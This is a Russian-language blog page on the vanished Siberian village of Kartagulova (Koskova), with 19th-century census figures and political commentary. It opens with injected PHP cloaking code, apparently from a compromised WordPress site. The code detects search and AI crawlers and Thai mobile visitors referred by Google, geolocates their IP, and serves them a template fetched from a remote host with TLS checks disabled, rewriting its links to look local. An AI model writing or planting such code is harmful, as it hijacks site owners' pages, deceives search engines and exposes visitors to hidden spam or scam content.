$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); Урочище Картагулова — Вечный путь к совершенству

Урочище Картагулова

Урочищем в народе называется любой географический объект/ориентира, о котором уреклись, т.е. договорились люди.  Урочищем может стать любая часть местности.

Таким одноименным урочищем стало место, где раньше находилась деревня Картагулова, Тобольского уезда. Деревня была не большая по нынешним меркам. В середине 1800-х годов она насчитывала 20 дворов. Но в те времена это было нормой и в окрестностях, по соседству, располагалось много таких небольших деревушек. Существовали они себе мирно до начала 193о-х годов.

Если представит себе эту деревню на современной карте, то она находилась бы вот здесь:

В округе не осталось и других небольших деревенек того времени. Вернее сказать. совсем ничего не осталось. Вместо них тоже урочища — пустые участки земли, которые люди, хранящие память о своих родных, не хотят забывать.
  • Урочище Большая Елань  6.4 км
  • Урочище Журавлёво  10 км
  • Урочище Мочище  47 км
  • Симково болото  67 км
  • Урочище Журавлиха  78 км
  • Урочище Весёлый Остров  108 км
  • Урочище Логовое  108 км
  • Урочище Береговая  113 км
  • Урочище Николаевка  114 км
  • Моторино  115 км

А как выглядела эта местность в 1907 году, можно посмотреть вот на этой большой и детальной Карте Тюменского уезда Тобольской губернии, 1907 год.

На карте ниже помечено, в каком именно месте надо искать деревню Картагулова.

А вот данные из Списка населённых мест Российской империи по сведениям 1859–1873 годов (за номером 3104) о деревне Картагулова,  располагавшейся, как говорится в этом документе, при реке Блуке. Второе название деревни указано в скобках — Коскова. В те времена была такая нередкая особенность — два названия. Второе название давалось по фамилии преимущественно проживавших в ней людей и носивших эту фамилию. Оба названия наносились на карту. Следует обратить внимание на то что в обоих случаях (впрочем, как и в случае с другими деревнями) названия деревни оканчивалось на «а». Это было так принято в те времена, как сейчас принято использовать окончание «о» в большинстве случаев. Итак, деревня носила второе название — Коскова и жили в ней казаки. В 86,5 километрах от главного населенного пункта округа и в 32 километрах от административно-полицейского участка, к которому относились. В 20 дворах жило 56 человек женского пола и 41 мужского. Никаких, как сейчас говорят, социальных объектов не имелось.

Что же произошло такое? Что стерло с лица земли сколько деревень, где люди жили десятилетьями? В школе мне рассказывали, что это естественный процесс. Все стремились в город  и деревни пустели. Индустриализация… Прогресс…  Но все оказалось не так. В нашу страну пришла власть большевиков, которую они сами для отвода глаз называли властью рабочих и крестьян.

И произошло страшное.

 

И вот такое.

Про эти случаи нам стало известно, а сколько людей сгинуло, о ком теперь даже нет упоминания в архивах. Вот так и стерли с лица земли целые деревни и целые семейные кланы, к которым в царской России, получается относились с большим уважением, раз наносили фамильное имя на карты. А ведь среди них были и вот такие люди.

 

Остается только мечтать о том, какой бы сейчас была наша страна, если бы нашла в себе силы пусть не тогда в 17-ом, хотя бы сейчас, вернуться в то свое прошлое, когда ее люди служили примером честности, порядочности и благородства, когда Россия давала другим странам повод завидовать и восхищаться ей. И начать сначала.